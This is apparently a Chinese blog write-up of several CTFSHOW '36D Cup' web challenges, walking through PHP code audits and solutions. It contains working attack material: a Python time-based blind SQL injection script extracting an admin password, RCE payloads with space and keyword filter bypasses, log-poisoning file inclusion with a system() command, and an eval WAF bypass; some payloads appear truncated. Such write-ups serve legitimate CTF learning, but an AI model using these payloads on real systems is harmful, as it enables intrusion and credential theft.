CTFSHOW-WEB-36D杯

给你shell

这道题对我这个新手还是有难度的,花了不少时间。首先f12看源码,看到?view_source,点进去看源码

代码审计得后,先看函数 checkCookie($s),这个函数主要就是检查cookie,将cookie分两段,第一段必须是'{"secret"' ,第二段必须满足正则只能含数字和大写英文字母,后面就是设置和读取cookie,初次访问会设置默认值(md5('y1ng') 的大写),若我们传入cookie,就会进去下一步判断,get传参give_me_shell,我们设置的cookieJSON解码后保存在$obj中,如果

$obj['secret'] == $flag_md5

相等得话就会回显shell_path,否则调用haveFun() 函数。 由于不知道 flag,自然无法直接获得 $flag_md5。然后进入到haveFun() 函数,这个函数我也是研究了好长时间,好好分析一下

function haveFun($_f_g) {
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < 32; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

首先是计算flagMD5大写,然后是一个循环,每个字符转ASCCII值,在与0xc0换位与

什么是0xc0

十六进制 二进制
0xC0 11000000

 按位与

只保留 高两位

低六位全部设为 0。

$_i & 0xC0

这里举个例子

字符 'A'

'A' 的 ASCII = 65(二进制 01000001

01000001 & 11000000 = 01000000

64

这是逐位比较,相同为1,不同为0,然后比较后的二进制转为十进制。

字符范围 对应 & 0xC0
'0'~'9' 0
'A'~'F' 64

这个函数也是模糊泄露了flag。

我们先传参得到一个32位字符串。

0006464640064064646464006406464064640064006400000000000

分析的前三位都是数字后几位是字母,这里就可以利用php的弱比较。只需判断前三位数字即可,这里直接爆破是不行的,因为cookie格式为{"secrert":"xxxxxx"},后面的值也是一个字符串,我们需要利用数字与字符串的弱比较绕过,传入的cookie是{"secret":123},接下来爆破数字就行

CTFSHOW-WEB-36D杯_第1张图片

 当数字是115爆破成功,访问回显路径

得到代码

location.href=\'./index.php\'');


if (!isset($_GET['code'])) {
    show_source(__FILE__);
    exit();
} else {
    $code = $_GET['code'];
    if (!preg_match($secret_waf, $code)) {
        //清空session 从头再来
        eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
    } else die('hacker');
}


/*
 * When you feel that you are lost, do not give up, fight and move on.
 * Being a hacker is not easy, it requires effort and sacrifice.
 * But remember … we are legion!
 *  ————Deep CTF 2020
*/

主要考察waf绕过和命令执行,由于我们不知道过滤了什么先进行fuzz测试一下,发现过滤了 f 

\ / | ; ' + ) ( * ^ $ ' ` " "基本有用的都过滤了。

在一个 PHP 代码段中的最后一行可以不用分号结束,于是构造?>

?>提前结束原有的PHP上下文(前面的 eval() 语句)。然后插入新的PHP代码块

?code=]=1?>

常用的函数基本都不能用了,而且f被过滤了,无法直接读取flag文件,符号~可以将URL编码取反,PHP中的函数urlencode可以将字符进行url编码,利用这些特性,我们可以将命令进行url取反编码,然后用~再取反,实现命令的注入,require和~之间不需要空格就可以执行,最终的payload

?code=]=1?>

然后再根据提示访问/flag

payload

?code=]=1?>

CTFSHOW-WEB-36D杯_第2张图片

ALL_INFO_U_WANT

这种题我也是第一次见,flag文件里放的不是flag,启动靶机后我还玩了一会魔方,没看注释,然后dirsearch扫一下发现备份文件,得到源码


visit all_info_u_want.php and you will get all information you want

= =Thinking that it may be difficult, i decided to show you the source code:






really really really baby challenge right? 

根据提示先访问all_info_u_want.php?all_info_i_want,拜读大佬文章说open_basedir没有设置,换句话,可以进行目录穿越,访问日志文件

?file=../../../../..//var/log/nginx/access.log

让后在UA头里执行命令。

 接下来就是找flag

大佬思路:

User Agent:

post:
1=system('find /etc -name "*" | xargs grep "ctfshow{"');

find /etc -name "*": 查找/etc目录及其所有子目录中的所有文件

| xargs grep "ctfshow{": 将找到的文件作为参数传递给grep,搜索包含"ctfshow{"字符串的内容

这样就找到flag

CTFSHOW-WEB-36D杯_第3张图片

WUSTCTF_朴实无华_Revenge

= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5(md5($md5))) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag); $get_flag = str_ireplace("more", "36dCTFShow", $get_flag); $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag); $get_flag = str_ireplace("less", "36dCTFShow", $get_flag); $get_flag = str_ireplace("head", "36dCTFShow", $get_flag); $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag); $get_flag = str_ireplace("$", "36dCTFShow", $get_flag); $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag); $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag); $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag); $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag); $get_flag = str_ireplace("php", "36dCTFShow", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?> 去非洲吧

代码审计题,题目定义了一个函数,用来判断参数是否为回文,就是正着读和反过来读都一样,比如‘12321’,就是回文。然后题目设置了三个关卡。

level 1

num 只能含数字、.-intval(num) == intval(strrev(num)),即数字和其反转相等。字符串本身不能是回文(但数字相等)。

绕过的方法有很多,比如‘0-’,‘0.00’都可以

level2

这考察双重md5碰撞,这重在积累,payload

0e1576609003
0e1138100474
0e113810047

level3

这一关考察rce,过滤了空格和常用的函数符号,用%09或者<绕过空格就行了

ls%09/

nl%09/flag

最终的payload

?num=0.00&md5=0e1138100474&get_flag=nl%09/flag

WUSTCTF_朴实无华_Revenge_Revenge

这一题和上面的差不多,payload

?num=0.00&md5=0e1138100474&get_flag=ca\t%09flag.p\hp

Login_Only_For_36D

测试发现存在过滤,fuzz测试

过滤了 'select', 'information_schema', 'union', 'and', 'ascii', 'mid', 'substr', 'substring', 'handler', 'updatexml', 'update', '&', '|', "'", '--', '=', '<', '>', ' '
能用'table_name', 'table_schema', 'tables', 'column', 'or', 'sleep', 'where', 'from', 'limit', 'group', 'by', 'like', 'regexp', 'prepare', 'as', 'if', 'char', 'ord', 'length', 'left', 'right', 'extractvalue', 'benchmark', 'insert', 'all', 'for', '@', '#', '^', '*', '"', '~', '`', '(', ')', '{', '!', '/', '\\', '+', '%', '_', ','

这里参考大佬脚本

import requests
import time as t

url = 'https://1509aa83-c3c4-4aee-a117-5d95de4fb8d5.challenge.ctf.show/index.php'
list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
passwd = ''
# Disable SSL verification
requests.packages.urllib3.disable_warnings()

# Time-based blind injection
# select * from user where username='admin\' and password='or if((password regexp binary "^passwd_part"),sleep(3),1)#'
# binary ensures case-sensitive matching
for i in range(16):
    for char in list_char:
        passwd_t = passwd + char
        payload = 'or/**/if((password/**/regexp/**/binary/**/"^' + passwd_t + '"),sleep(2),1)#'
        data = {
            'username': 'admin\\',
            'password': payload
        }
        try:
            start = t.time()
            requests.post(url, data=data, verify=False)  # verify=False disables SSL verification
            end = t.time()
            if end - start >= 2:
                passwd += char
                print(f"Found character {i+1}: {passwd}")
                break
        except requests.exceptions.RequestException as e:
            print(f"Request failed: {e}")
            continue

print(f"Final password: {passwd}")

得到密码登录即可,36d杯名不虚传

你取吧

这过滤的比较干净,但是可以利用题目中的数组执行命令

?code=`$_[12]$_[13] /*`         `nl /*`
?code=`$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]`     `nl /flag`
?code=1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$__("$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]");(1        1);system("nl /flag");(1

还有无字母rce利用自增绕过,我尝试没有成功,我再去沉淀沉淀,,,


你可能感兴趣的:(前端,android)